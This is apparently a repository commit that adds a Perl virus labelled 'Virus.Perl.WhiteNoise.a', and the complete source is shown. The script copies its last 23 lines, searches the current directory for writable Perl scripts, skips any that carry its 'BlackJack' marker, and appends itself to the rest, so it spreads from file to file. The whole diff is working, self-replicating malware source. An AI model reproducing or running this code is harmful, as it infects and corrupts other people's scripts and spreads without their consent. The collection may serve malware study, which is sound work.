Add files via upload

Perl/Virus.Perl.WhiteNoise.a

@@ -0,0 +1,23 @@
+open(File,$0);
+@Vir=<File>;
+#BlackJack
+@Virus=@Vir[-23...-1];
+close(File);
+foreach $FileName (<*>)
+{
+if ((-r $FileName) && (-w $FileName) && (-f $FileName))
+{
+open(fuck, "$FileName");
+@aFucks=<fuck>;
+close(fuck);
+if ((@aFucks[0] =~ "perl") || (@aFucks[1] =~ "perl"))
+{
+if ( not (@aFucks[-21] =~ "BlackJack"))
+{
+open(fuck, ">>$FileName");
+print fuck @Virus;
+close(fuck);
+}
+}
+}
+}